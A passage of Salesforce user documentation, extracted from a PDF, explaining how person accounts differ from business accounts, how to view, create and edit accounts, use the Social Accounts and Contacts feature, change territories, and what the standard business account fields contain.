Implementation guide: Implementing Person Accounts
Disabling and Deactivating Portal Users

68

Accounts

Person Account Behaviors

Person Account Behaviors


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

Note: Person accounts are not enabled by default in Salesforce. To request person accounts, contact salesforce.com.

Person accounts are accounts that can also be used as contacts in many situations. The following table summarizes the key
areas in which person accounts differ from business accounts or have unique considerations:
Salesforce Functionality

Person Account Behavior

Account Merge

Person accounts can only be merged with other person


accounts. See Merging Duplicate Accounts on page 106.

Account Quick Create

On the accounts home page, the fields in the Quick Create


area are based on whether the default account record type set
on your profile is a person account record type or a business
account record type. See Specifying Record Types and Page
Layout Assignments in the Enhanced Profile User Interface
on page 535 or Assigning Record Types to Profiles in the
Original Profile User Interface on page 545.

Accounts

Person accounts are accounts that support contact fields and


capabilities.

Activities

Person accounts can be associated with activities using either


the Name or Related To fields.
As with contacts, person accounts can be invited to events and
requested meetings.
For users to request a meeting with a person account, the
Email field must be added to the Person Accounts page
layout.

Campaigns

As with contacts, person accounts can be added to campaigns


and have a Campaign History related list.

Cases

On cases, person accounts can be entered in the Account


Name field, the Contact Name field, or both.

Chatter Feed Tracking

When you follow person accounts, you follow the account


fields, but not the contact fields.

Contact Roles

As with contacts, you can add person accounts to the Contact


Roles related list on cases, contracts, and opportunities.

69

Accounts

Person Account Behaviors

Salesforce Functionality

Person Account Behavior

Contacts

In most situations, you can use person accounts as if they were


contacts. You can include them in all contact list views except
on the contacts home page.
Unlike business accounts, person accounts do not have a
Contacts related list. However, you can use the Partners related
list to track relationships between different person accounts.

Custom Objects

Custom objects with relationships to either accounts or


contacts can be added as related lists on person accounts.

Customer Portal

As with contacts, person accounts can be enabled as users for


your Customer Portals. Note that Customer Portals are only
available for Enterprise and Unlimited Editions.

Desktop Integration

Person accounts are currently supported in Connect Offline,


Salesforce for Outlook, and Connect for Outlook version 3.2
and later; see Can I sync person accounts using Salesforce for
Outlook? on page 3670 and Working with Person Accounts in
Connect for Outlook on page 2740. They are not currently
supported in Connect for Lotus Notes.

Email

As with contacts, you can send individual emails and mass


emails to person accounts.

Field History

Account fields for person accounts can be tracked using the


account field history settings, but contact fields for person
accounts are configured on the contact field history settings
page. See Tracking Field History on page 1100.

Fields

A predetermined combination of standard account and contact


fields is available on person account page layouts. In addition,
all custom account and contact fields are available. See Person
Account Fields on page 93.
Note that some business account fields are not supported for
person accounts, such as Parent Account and View
Hierarchy. Also, the Reports To field on contacts is not
supported for person accounts.
You can rename person account field labels so alternate terms
display in Salesforce.

Icons

Person accounts have a person icon ( ), while business


accounts have a folder icon ( ). The person account icon can
be added to search results, list views, and lookup dialogs using
the criteria Is Person Account equals True.

Import Wizards

Person accounts have unique import wizards at Your Name


> Setup > Import > Import My Person Accounts and Your
Name > Setup > Data Management > Import Person

70

Accounts

Salesforce Functionality

Person Account Behaviors

Person Account Behavior


Accounts. See What Is Imported for Person Accounts? on
page 782.

Leads

Leads with a blank Company field are converted to person


accounts. The default person account record type for your
profile is applied to the new person account. Note that you
can only create leads with a blank Company field using the
Force.com API. Leads with a value in the Company field are
converted to business accounts. The default business account
record type for your profile is applied to the new business
account. See Converting Leads on page 2890, and Specifying
Record Types and Page Layout Assignments in the Enhanced
Profile User Interface on page 535 or Assigning Record Types
to Profiles in the Original Profile User Interface on page 545.

List Views

Person accounts appear in both account and contact list views.


Add the Is Person Account icon to list views to visually
differentiate person accounts from other records, and to include
or exclude person accounts in a list.

Mobile Configurations

Mobile configurations that include the account object


automatically deliver person accounts and business accounts
to users' mobile devices.
Person accounts can be excluded from the configuration's data
set using the criteria Is Person Account equals False.
To mobilize only person accounts, use the criteria Is
Person Account equals True. If a mobile configuration
includes accounts but not contacts, users assigned to that
configuration will see a Contacts tab in the mobile client
application, and the tab will contain person accounts.

Page Layouts

Person accounts have unique page layouts that can have


account fields, contact fields, account custom links, account
related lists, and contact related lists. Person accounts page
layouts do not support the Reports To and Parent
Account fields. You cannot add a contact formula field that
references the account object to person accounts page layouts.

Partners

You can use the Partners related list to relate person accounts
to each other. We recommend that you rename the Partners
related list to Related Accounts, Relationships, or a similar
term that reflects how your person accounts are connected.

Record Types

Administrators can configure multiple record types for person


accounts. A person account can only be changed to another
person account record type.

71

Accounts

Person Account Behaviors

Salesforce Functionality

Person Account Behavior

Renamed Tabs and Standard Fields

Administrators can customize the names of tabs and fields


related to person accounts, such as:
The Accounts tab name, the business account field
label, and the person account field label.
The Contacts tab name and the business contact
field label.
See Renaming Tab and Field Labels on page 1054.

Search

Person accounts only appear in account search results.


Administrators can add the Is Person Account icon to
account search layouts in order to differentiate person accounts
from business accounts.

Self-Service Portal

As with contacts, person accounts can be enabled as users for


your Self-Service portal.
Note: Starting with Spring 12, the Self-Service portal
isnt available for new organizations. Existing
organizations continue to have access to the
Self-Service portal.

Sharing Settings

Contact sharing is not available if you have enabled person


accounts. The organization-wide default for contacts is set to
Controlled by Parent and is not editable.
If your organization has customized your contact sharing
settings and you want to enable person accounts, change your
organization-wide default for contacts to Controlled by Parent,
which removes all your contact sharing rules and manually
shared contacts.

Stay-in-Touch Requests

As with contacts, you can send individual and mass


Stay-in-Touch requests to person accounts.

Storage

Person accounts count against both account and contact


storage because the API considers each person account to
consist of one account as well as one contact.

Workflow Rules

Creating or editing a person account triggers account workflow


rules. See Workflow and Approvals Overview on page 1775.

See Also:
What is a Person Account?
Tip sheet: Tips & Hints for Person Accounts
Administrator setup guide: Implementing Person Accounts
Disabling and Deactivating Portal Users

72

Accounts

Accounts Home

Accounts Home
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Accounts tab:

Read on accounts

To view accounts:

Read on accounts

To create business accounts:

Create on accounts

To create person accounts:

Create on accounts and contacts

Clicking on the Accounts tab displays the accounts home page.

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
In the Recent Accounts section, select an item from the drop-down list to display a brief list of the top accounts matching
that criteria. From the list, you can click any account name to go directly to the account detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the Accounts
Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited,
and Developer Editions only). The Recent Accounts choices are:
Recent Accounts Choice

Description

Recently Viewed

The last ten or twenty-five accounts you viewed, with the


most recently viewed account listed first. This list is derived
from your recent items and includes records owned by you
and other users.

Recently Created

The last ten or twenty-five accounts you created, with the


most recently created account listed first. This list only
includes records owned by you.

Recently Modified

The last ten or twenty-five accounts you updated, with the


most recently updated account listed first. This list only
includes records owned by you.

If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the
sidebar on the accounts home page. If your organization uses person accounts and your default record type for the Accounts
tab is a person account record type, then the Quick Create fields include First Name and Last Name instead of Account
Name. Validation rules don't apply if you create new records for an object with Quick Create.
Alternatively, click New next to the Recent Accounts section to create a new account.

Under Reports, click any report name to jump to that report.

73

Accounts

Viewing Account Lists

Select any of the links under Tools to access utilities for managing your accounts.
If accounts are shared with external contacts via Salesforce to Salesforce, choose one of the list views under Accounts from
Connections to view accounts that your business partners have shared with you.
Note: If your organization has Salesforce for Wealth Management, accounts are called clients.

See Also:
Accounts Overview
What is a Person Account?
Using Accounts
Creating Accounts
Merging Duplicate Accounts
Deleting Accounts
Creating Custom List Views

Viewing Account Lists


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view account lists:

Read on accounts

To create business accounts:

Create on accounts

To create person accounts:

Create on accounts and contacts

The accounts list page displays a list of accounts in your current view. To show a filtered list of items, select a predefined list
from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you
created, select it from the View drop-down list and click Edit.

Click an account name to view the account details.


Click Edit or Del next to an account name to edit or delete the account.

If Chatter is enabled, click Chatter in the top-right corner to see feed updates for the list view. Click List to toggle
back to the list view.
Click New Account or select Account from the Create New drop-down list in the sidebar to create an account.

If Chatter is enabled, click

or

to follow or stop following an account in your Chatter feed.

Click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then,
you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note
that your administrator controls the availability of drag-and-drop scheduling.

74

Accounts

Using Accounts

Sorting List Views

Click any column heading to sort in ascending or descending order using that columns information.
At the top of the list, click a letter to display the contents of the sorted column that begin with that character.
If your organization uses person accounts and your current list view includes the field Is Person Account, the column
heading for this field is the person account icon ( ). Click the person account icon in the header to sort person accounts
at either the top or bottom of the list.
Note: If your organization has Salesforce for Wealth Management, accounts are called clients.

See Also:
Accounts Home
What is a Person Account?
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists
Printing List Views

Using Accounts
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts:

Read on accounts

To edit business accounts:

Edit on accounts

To edit person accounts:

Edit on accounts and contacts

To enable partner accounts:


To disable partner accounts:

Manage Partners
Edit on accounts
AND
Manage Partners

To disable Customer Portal accounts:

Edit on accounts
AND
Edit Self-Service Users

An account is an organization, company, or consumer that you want to trackfor example, a customer, partner, or competitor.

75

Accounts

Using Accounts

View and edit accounts


Use Social Accounts and Contacts to view your accounts social network profiles, see their level of influence in social media,
and watch related YouTube videos.
Find account-related information (such as contacts)
Get Data.com contacts for an account
Clean account records with Data.com Clean
View account updates and comments (Chatter)
Give Customer Portal users access to an account
Enable an account as a partner account

See Also:
Account Fields
Viewing Parent Accounts
Creating Accounts
Social Accounts, Contacts, and Leads Overview
Data.com Product Suite Overview
Changing the Record Type Field
Changing the Territories of an Account
Account History

76

Accounts

Displaying and Editing Account Details

Displaying and Editing Account Details


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts:

Read on accounts

To edit business accounts:

Edit on accounts

To edit person accounts:

Edit on accounts and contacts

To enable partner accounts:


To disable partner accounts:

Manage Partners
Edit on accounts
AND
Manage Partners

To disable Customer Portal accounts:

Edit on accounts
AND
Edit Self-Service Users

Once you have located an account on the Accounts home or list pages, click the account name to display detailed information.

Use inline editing to edit fields directly on the detail page. If inline editing isn't enabled, contact your administrator.
To display the page in edit mode, click Edit, make your changes, and click Save.
To save the current account and create another one, click Save & New.
To open a printable display of the record details, in the top-right corner of the page, click Printable View.
To enable an account as a partner account, click Work with Portal and choose Enable As Partner. Available only if your
company enabled a partner portal.
To enable person accounts as Customer Portal users, click Work with Portal and choose Enable Customer Portal User.
Available only if your company has person accounts and a Customer Portal.
Note: As the owner of an account, you can normally view all data related to that account.
However, your administrator can set an option on your role that determines whether you can view opportunities that
you do not own that are associated with your accounts.
Also, if your accounts are assigned to territories, your administrator can set options that determine whether users in
that territory can view, edit, transfer, or delete your accounts.

77

Accounts

Using Social Accounts

Using Social Accounts


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

When using Social Accounts and Contacts for accounts, you can:

Sign in to your social network accounts from any account detail page.
Find your customers Facebook, LinkedIn, and Twitter profiles and link them to their account records, so you can view
this information from account detail pages.
Find YouTube videos related to your accounts and play them from account detail pages.
See your accounts Klout information from account detail pages.
Modify default search criteria if youre having trouble locating an accounts social information.
Configure your Social Accounts and Contacts settings so the Social Accounts and Contacts viewer only shows the social
networks that you want to use.

See Also:
Social Accounts, Contacts, and Leads Overview
Enabling and Configuring Social Accounts and Contacts

Signing in to Your Social Network Accounts from Account


Detail Pages
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To sign in to your social network accounts from business
account detail pages:

Read on accounts

To sign in to your social network accounts from person account Read on accounts and contacts
detail pages:

To get started using Social Accounts and Contacts, you first need to sign in to your social network accounts from any account,
contact, or lead detail page. This creates private connections between Salesforce and your social network accounts, allowing
you to see external social profiles in Salesforce. These connections persist in future Salesforce sessions so you don't have to
sign in to your social network accounts again unless you sign out in the Social Accounts and Contacts viewer.

78

Accounts

Viewing Your Accounts' Social Network Profiles

Note: You can see YouTube videos without doing these steps. The Klout service is only available when youre signed
in to your Twitter account..
To sign in to your social network accounts from an account detail page:
1. On the Accounts home page or in an Accounts list view, click an accounts name to display the detail page. You can sign
in from any account detail page that you have permission to read.
2. In the header on the detail page, click a social network icon (
).
3. Click the Sign in button on the Social Accounts and Contacts viewer.
4. Enter your social network account credentials and authorize Salesforce to access your account.
Your Salesforce account and social network account are now connected.
Repeat these steps to create connections for your other social network accounts.

See Also:
Using Social Accounts
Social Accounts, Contacts, and Leads Overview

Viewing Your Accounts' Social Network Profiles


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To find and link social network profiles to business account
records:

Edit on accounts

To find and link social network profiles to person account


records:

Edit on accounts and contacts

To view an account's social network profiles:

Read on accounts

Once you have signed in to your social network accounts from Salesforce, use Social Accounts and Contacts to find your
customers' Facebook, LinkedIn, and Twitter profiles and link them to their account records. Then you can view this information
directly from account detail pages in Salesforce.
1. On the Accounts home page or in an Accounts list view, click an accounts name to display the detail page.
2. In the header on the detail page, click a social network icon (
).
3. If a social network profile isnt associated with the account yet, Salesforce automatically searches for profiles that match
the account name on the account record. Click the correct profile in the search results displayed on the Social Accounts
and Contacts viewer.

79

Accounts

Viewing YouTube Videos about Your Accounts

Tip: If the default search doesn't find the correct profile, search again using different search terms.

The profile that you select is linked to the Salesforce record, so other Salesforce users who access the record can also view
the profile.
4. View the social information that your account is sharing with you.
Note: Depending on the accounts privacy settings, you may not see as much information as you would if logged
directly into your social network account.
5. You can also:

Click Show Photo in Salesforce to display the accounts profile picture on the account detail page.
Click View Full Profile to see the accounts complete social network profile directly in the social network.
Click Find Different Profile to change the social network profile that is linked to the account record.
Click Sign Out to close the private connection between Salesforce and your social network account. When you do this,
you're unable to see your accounts social network profiles until you sign in again.

Repeat these steps to find and view the accounts other social network profiles. You can use the tabs on the Social Accounts
and Contacts viewer to easily switch between the different social networks.

See Also:
Using Social Accounts
Viewing YouTube Videos about Your Accounts
Viewing Your Accounts Klout Information
Social Accounts, Contacts, and Leads Overview

Viewing YouTube Videos about Your Accounts


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To find and view YouTube videos related to accounts:

Read on accounts

You can use Social Accounts and Contacts to find YouTube videos related to your accounts and play them from account detail
pages in Salesforce.
1. On the Accounts home page or in an Accounts list view, click an accounts name to display the detail page.
2. In the header on the detail page, click the YouTube icon ( ).
3. In the YouTube search results, click the video that you want to watch.

80

Accounts

Viewing Your Accounts Klout Information

Tip: If the default search doesn't find videos for the correct company, search again using different search terms.

4. The YouTube player opens in the Social Accounts and Contacts viewer and the video begins playing.

See Also:
Using Social Accounts
Viewing Your Accounts' Social Network Profiles
Viewing Your Accounts Klout Information
Social Accounts, Contacts, and Leads Overview

Viewing Your Accounts Klout Information


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view an accounts Klout information:

Read on accounts

You can use Social Accounts and Contacts to see your accounts Klout information, directly from account detail pages in
Salesforce.
Note:
The Klout service is dependent on Twitteran administrator must enable Twitter in your organizations Social
Accounts and Contacts settings and you must be signed in to your Twitter account. You dont need a Klout account,
or have to be signed in to your Klout account, to see Klout information in Salesforce.
Before Klout information is available for an account, you or someone else in your organization needs to associate a
Twitter profile with the account record.
To see Klout information for an account:
1. On the Accounts home page or in an Accounts list view, click an accounts name to display the detail page.
2. In the header on the detail page, click the Klout icon ( ).
3. View the accounts Klout information.

See Also:
Using Social Accounts
Viewing Your Accounts' Social Network Profiles
Viewing YouTube Videos about Your Accounts
Social Accounts, Contacts, and Leads Overview

81

Accounts

Tips for Finding Your Accounts' Social Information

Tips for Finding Your Accounts' Social Information


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

When you want to associate a social network profile with an accounteither for the first time or if youre switching to a
different profile using the Find Different Profile buttonthe Social Accounts and Contacts feature uses the Account Name
field on the account record as the default search criteria. The default search criteria is also used when you want to find YouTube
videos related to an account.
Here are some tips if youre having trouble finding an accounts social information.

If the default search can't locate your accounts social network profile or YouTube videos related to the account, enter
different keywords in the search box on the Social Accounts and Contacts viewer and click Search.
For business accounts, the account name on the Salesforce record may not exactly match the company name used in their
social network account or in YouTube video keyword tags. Try different variations of the account name, such as Universal
Paper or Universal Paper, Incorporated instead of Universal Paper, Inc.
Similarly for person accounts, the account name in Salesforce may differ from your person accounts social network user
name or the persons name used in YouTube video keyword tags. Try different variations of the person accounts name;
for example, search for Maddie Rigsby instead of Madison Rigsby.

If you still can't find the correct profile, your Salesforce account may not be active in any social networks or their privacy
settings may be blocking you from finding their profile in a search. If your YouTube searches are still unsuccessful, the account
may not be featured in any videos shared on YouTube.

See Also:
Using Social Accounts
Social Accounts, Contacts, and Leads Overview

Configuring Your Social Accounts and Contacts Settings


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Contacts available in: All Editions except Database.com
Leads available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

If the Social Accounts and Contacts feature is enabled for your organization, you can turn off social networks that you don't
want to use. You can also turn off the Social Accounts and Contacts feature, if needed.
1. Click Your Name > Setup > My Social Accounts and Contacts > Settings.
2. Click Change your Social Accounts and Contacts settings.

82

Accounts

Finding Account-Related Information (Related Lists)

3. Customize Social Accounts and Contacts so it works the way you want it to.

Select the social networks that you want to use. Deselect any of the services that you don't want to use.
Deselect Use Social Accounts and Contacts to turn off the Social Accounts and Contacts feature entirely. Select this
checkbox to turn the feature back on if you change your mind.

4. Click Save.

See Also:
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Accounts
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Contacts
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Leads

Finding Account-Related Information (Related Lists)


Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts:

Read on accounts

To edit business accounts:

Edit on accounts

To edit person accounts:

Edit on accounts and contacts

To enable partner accounts:


To disable partner accounts:

Manage Partners
Edit on accounts
AND
Manage Partners

To disable Customer Portal accounts:

Edit on accounts
AND
Edit Self-Service Users

Related lists, such as opportunities, display information related to an account.

83

Accounts

Viewing Account Updates (Chatter)

Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled,
hover links display below the feed. An interactive overlay allows you to quickly view and manage the related list items.
Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce
administrator.
If hover details are enabled, hover over any lookup field on the detail page to view key information about a record before
clicking into that record's detail page.
To directly add new items, click New (or the equivalent button) at the top of a related list. For example, to add a task to
the Open Activities related list, click New Task.
To change the number of records shown for related lists, click View More below a related list, or click fewer or more at
the bottom of the page.
If you are unable to see related records that belong to portal users, ask your Salesforce administrator to add you to the
portal share groups with access to the portal users' data.

Viewing Related Lists


The related lists you see are determined by your:

Personal customization
Administrator's page layout customizations
Permissions to view related data

The kind of account you are viewinga business account or a person accountalso determines the related lists that can be
viewed.

Viewing Account Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the account.
Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed.
To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full
feed, above the update, click All Updates.

Following Accounts
When you follow an account, your Chatter feed includes field changes and account feed updates.

To follow an account, click Follow. To stop following, click Following .


The Followers list shows you who is following the account. To view a full list, click Show All.

84

Accounts

Changing the Territories of an Account

To automatically follow records you create, go to Your Name > Setup > My Chatter Settings > My Feeds and select
Automatically follow records I create. When you create person accounts, you can only auto-follow the account fields, not
the contact fields.

See Also:
Chatter Overview
Using Chatter Feeds

Changing the Territories of an Account


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To change the territories of an account:

Manage Territories
OR
You are a forecast manager, Forecast managers can
manage territories is selected, and you are working
below your position in the territory hierarchy.

To modify an account's manually assigned territories:


1. From the account detail page, click Change next to the Territories field.
2. At the Rule-based territory assignments list, view the territories that contain the account due to active account
assignment rules. You cannot use this page to remove the account from these territories; to do so you must modify the
account assignment rules that evaluated the account. For more information, see Managing Account Assignment Rules on
page 2654.
3. If the account has existing manual assignments to one or more territories, the names of those territories will appear in the
Selected territories list.
4. Click Select and Deselect to move territories between the Available territories list and the Selected territories list.
5. Optionally, click Horizontal View or Vertical View in the drop-down list to place the Selected territories list either
alongside or below the Available territories list.
6. When the Selected territories list contains the territories to which the account should be manually assigned, click Save to
finish and return to the account detail page.

See Also:
Using Accounts
Territory Management Overview
Manually Assigning Accounts to Territories

85

Accounts

Account History

Account History
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts:

Read on accounts

The Account History related list of an account detail page tracks the changes to the account. Any time a user modifies any of
the standard or custom fields whose history is set to be tracked on the account, a new entry is added to the Account History
related list. For person accounts, this includes any relevant contact fields that are set to be tracked. All entries include the date,
time, nature of the change, and who made the change. Modifications to the related lists on the account are not tracked in the
account history. For information about setting up which fields are tracked, see Tracking Field History on page 1100.

Creating Accounts
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view accounts:

Read on accounts

To create business accounts:

Create on accounts

To create person accounts

Create on accounts and contacts

1. Select Account from the Create New drop-down list in the sidebar, or click New next to Recent Accounts on the accounts
home page.
If your organization has enabled person accounts, you must first specify whether the record type is a business account or
person account.
2. Enter the information for the account.

To specify that a business account is a subsidiary of another business account, fill in the Parent Account field. You
can then view a hierarchy of account relationships. The Parent Account field isnt available for person accounts.
Use the Account Site field to designate different locations of the same company. For example, Acme.com may have
offices in Paris and London. Create two accounts, both called Acme.com, but with Account Site values of Paris
and London, respectively.

3. Click Save when you are finished, or click Save & New to save the current account and add another.

86

Accounts

Account Fields

When creating a new account, consider that:

If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the
sidebar on the accounts home page. If your organization uses person accounts and your default record type for the Accounts
tab is a person account record type, then the Quick Create fields include First Name and Last Name instead of Account
Name. Validation rules don't apply if you create new records for an object with Quick Create.
Enterprise, Unlimited, and Developer Edition organizations can activate record types and ask you to choose a Record
Type when creating an account. This determines the picklist values available when creating and editing a record.
If your organization uses divisions, the division of a new account is automatically set to your default division, unless you
manually select a different one.
If your organization uses territory management, account assignment rules can automatically assign newly created accounts
to territories. See Territory Management Overview on page 2638.

See Also:
Account Fields
Sharing Accounts
Viewing Parent Accounts
Accounts Home
What is a Person Account?

Account Fields
Business Account Fields
The available business account fields vary according to which Salesforce Edition you have.
Person accounts available in: Enterprise, Unlimited, and Developer Editions
The available person account fields vary according to which Salesforce Edition you have.

A business account has the following fields, listed in alphabetical order. Depending on your page layout and field-level security
settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer
Editions only.)
If the account record was added from Data.com, certain fields, as identified here, will be populated with the Data.com value,
if a value is available. Some Data.com fields are available only to organizations that use Data.com Corporate or Data.com
Premium. Those fields are identified in their descriptions.
Note: Administrators can customize the display labels of standard fields.

Field

Description

Account Currency

The default currency for all currency


amount fields in the account. Amounts
display in the account currency and are
also converted to the users personal

Allows Value from Data.com via D&B

87

Accounts

Field

Account Fields

Description

Allows Value from Data.com via D&B

currency. Available only for


organizations that use multiple
currencies.
Account Division

Division to which the account belongs.


Records related to the account, such as
contacts and opportunities,
automatically inherit the accounts
division. Available only in organizations
that use divisions to segment their data.

Account Name

Name of company. Up to 255 characters


are allowed in this field.

Account Name (Local)

The name of the account translated into


the local language.

Account Number

Tracking or reference number for


account. Up to 40 characters are allowed
in this field.

Account Owner

Assigned owner of account. Not


available in Personal Edition.

Account Record Type

Name of the field that determines what


picklist values are available for the
record. Available in Enterprise,
Unlimited, and Developer Editions.

Account Site

Information about the accounts


location, such as single location,
Headquarters, or Branch. Up to
80 characters are allowed in this field.

Account Source

The source of the account record. For


example, Advertisement,
Data.com, or Trade Show. The
source is selected from a picklist of
available values, which are set by an
administrator. Each picklist value can
have up to 40 characters.

Annual Revenue

Amount of annual reported revenue.

Note: If you clean your account


records with the Data.com
Corporate or Premium product
or Data.com Clean, Data.com
converts non-USD currencies
to USD every month, which
may cause the values in this field
to change. For organizations
that use non-USD currencies,
we ignore the Annual
Revenue field when

88

Accounts

Field

Account Fields

Description

Allows Value from Data.com via D&B

determining a records clean


status (so the Clean Status
fields value does not change).
We also remove the value from
the Annual Revenue field on
account records and the clean
comparison page.
Billing Street

Street address used for billing. Up to


255 characters are allowed in this field.

Billing City

City portion of billing address. Up to


40 characters are allowed in this field.

Billing State/Province

State or province portion of billing


address. Up to 20 characters are allowed
in this field.

Billing Zip/Postal Code

Zip or postal code portion of billing


address. Up to 20 characters are allowed
in this field.

Billing Country

Country portion of billing address. Up


to 40 characters are allowed in this field.

Clean Status

Indicates the records clean status as


compared with Data.com. Values are:
Not Compared, In Sync,
Reviewed, Different, Not
Found, or Inactive.

Note: If you clean your account


records with the Data.com
Corporate or Premium product
or Data.com Clean, Data.com
converts non-USD currencies
to USD every month, which
may cause the values in the
Annual Revenue field to
change. For organizations that
use non-USD currencies, we
ignore the Annual Revenue
field when determining a
records clean status (so the
Clean Status fields value
does not change).
Created By

User who created the account, including


creation date and time. (Read only)

Data.com Key

The ID of the company in Data.com


When Salesforce records are compared
with Data.com records (via either

89

Accounts

Field

Account Fields

Description

Allows Value from Data.com via D&B

manual cleaning or automated clean


jobs), if Data.com finds a match, the
two records are linked by this fields
numeric value.
D&B Company

A link to the corresponding D&B


Company record, which displays Dun
& Bradstreet (D&B) fields for the
account. Use the lookup if you need to
associate a different D&B Company
record with the account.This field is
only available to organizations that use
Data.com Corporate or Data.com
Premium.

Description

Description of account. Up to 32 KB of
data are allowed in this field. Only the
first 255 characters display in reports.

D-U-N-S Number

The Data Universal Numbering System


(D-U-N-S) number is a unique,
nine-digit number assigned to every
business location in the D&B database
that has a unique, separate, and distinct
operation. D-U-N-S numbers are used
by industries and organizations around
the world as a global standard for
business identification and tracking.
This field is only available to
organizations that use Data.com
Corporate or Data.com Premium.

Note:
To see the entire D-U-N-S
number, either

Add the account to


Salesforce if you havent yet,
or
Clean the account with
Data.com if it already exists
in Salesforce

Until you add or clean the


record, its first five digits will be
masked with asterisks (*).
Employees

Number of people employed by the


account.

Evaluate this account against When checked, causes account


assignment rules to run when the
territory rules on save

account is edited and saved. When

90

Accounts

Field

Account Fields

Description

Allows Value from Data.com via D&B

customizing the page layout for


accounts, an administrator can control
whether this checkbox displays and
whether it is checked by default. See
Territory Management Overview on
page 2638.
Exclude from territory
assignment rules

When checked, shields the account from


being evaluated when account
assignment rules are run, preventing it
from being automatically assigned to
territories. Also, if the account is already
assigned to territories as a result of
assignment rules, checking this box
removes the account from those
territories. This checkbox only affects
rule-based account assignments and has
no effect on manual account
assignments. See Territory Management
Overview on page 2638.

Fax

Fax number. Up to 40 characters are


allowed in this field.

Industry

Primary business of account. Entry is


selected from a picklist of available
values, which are set by an
administrator. Each picklist value can
have up to 40 characters.

Modified By

User who last changed the account


fields, including modification date and
time. This does not track changes made
to any of the related list items on the
account. (Read only)

NAICS Code

The six-digit North American Industry


Classification System (NAICS) code is
the standard used by business and
government to classify business
establishments into 20 industries,
according to their economic activity for
the purpose of collecting, analyzing, and
publishing statistical data related to the
U.S. business economy. This field is
only available to organizations that use
Data.com Corporate or Data.com
Premium.

NAICS Description

A brief description of an organizations


line of business, based on its NAICS
code. This field is only available to
organizations that use Data.com
Corporate or Data.com Premium.

91

Accounts

Account Fields

Field

Description

Allows Value from Data.com via D&B

Ownership

Ownership of company, for example,


public or private. Entry is selected from
a picklist of available values, which are
set by an administrator. Each picklist
value can have up to 40 characters.

Parent Account

Parent company for companies that are


subsidiaries of a larger company or
organization. The parent account must
be an existing account in Salesforce. You
can enter the account name, or select (or
optionally, create) the account using the
lookup icon.

Partner Account

Read-only field that indicates whether


an account is a partner account.

Phone

Primary phone number of account. Up


to 40 characters are allowed in this field.

Rating

Categorization of how you rate this


account, for example, Hot, Cold. Entry
is selected from a picklist of available
values, which are set by an
administrator. Each picklist value can
have up to 40 characters.

Shipping Street

Primary mailing or shipping street


address of account. Up to 255 characters
are allowed in this field.

Shipping City

City portion of primary mailing or


shipping address. Up to 40 characters
are allowed in this field.

Shipping State/Province

State or province portion of primary


mailing or shipping address. Up to 20
characters are allowed in this field.

Shipping Zip/Postal Code

Zip or postal code portion of primary


mailing or shipping address. Up to 20
characters are allowed in this field.

Shipping Country

Country portion of primary mailing or


shipping address. Up to 40 characters
are allowed in this field.

SIC Code

Standard Industrial Classification code


of the accounts main business
categorization. Up to 10 characters are
allowed in this field.

SIC Description

A brief description of an organizations


line of business, based on its SIC code.

92

Accounts

Account Fields

Field

Description

Allows Value from Data.com via D&B

Territories

The territories to which the account has


been assigned. See Territory
Management Overview on page 2638.

Ticker Symbol

The abbreviation used to identify


publicly traded shares of a particular
stock. Also known as the stock symbol.
Up to 20 characters are allowed in this
field.

Tradestyle

A name, different from its legal name,


that an organization may use for
conducting business. Similar to Doing
business as or DBA. This field is only
available to organizations that use
Data.com Corporate or Data.com
Premium.

Type

Type of account, for example,


Customer, Competitor, or Partner.
Entry is selected from a picklist of
available values, which are set by an
administrator. Each picklist value can
have up to 40 characters.

Custom Links

Listing of custom links for accounts as


